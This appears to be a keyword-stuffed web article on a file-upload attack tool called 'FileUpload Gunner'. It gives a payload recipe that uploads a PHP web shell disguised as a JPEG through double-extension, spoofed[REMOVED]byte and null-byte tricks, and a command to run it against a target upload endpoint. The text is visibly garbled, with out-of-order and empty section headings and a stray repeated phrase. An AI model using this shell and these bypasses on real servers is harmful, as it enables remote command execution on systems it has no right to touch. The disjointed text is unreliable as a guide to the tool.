Fileupload Gunner Project (2025)

Mastering the FileUpload Gunner Project: A Comprehensive Guide to Robust File Handling

Build the payload database

python scripts/build_payloads.py --update

Example: Custom Payload Recipe (bypass_nginx.yaml)

name: "Nginx FastCGI Bypass"
type: fileupload
vectors:
  - filename: "shell.php"
    content_type: "image/jpeg"
    double_extension: true
    magic_bytes: "\xFF\xD8\xFF\xE0"  # JPEG header
    body: "<?php system($_GET['cmd']); ?>"
  - filename: "test.asp;.jpg"
    content_type: "text/plain"
    inject_null_byte: true

Run this custom recipe:

./gunner.py --recipe bypass_nginx.yaml --target http://target.com/upload

Architecture Overview

6. Installation & Usage

Use Cases:

Why "Gunner"? The Project’s Core Mission

Traditional upload testing tools send a single file and check the response. The FileUpload Gunner Project, however, operates like a military "gunner" – suppressive, continuous, and adaptive. It doesn't just test if a .php file can be uploaded; it tests if shell.php.jpg, shell.php%00.jpg, or shell.PhP3 can bypass the validator. fileupload gunner project

The project’s mission is threefold:

  1. For Offensive Security: Identify zero-day bypasses in web application firewalls (WAFs).
  2. For Defensive Security: Validate that your sanitization logic (e.g., fileinfo magic bytes, content-disposition parsing) actually works.
  3. For Quality Assurance: Ensure your server can handle concurrent large uploads without crashing (load testing).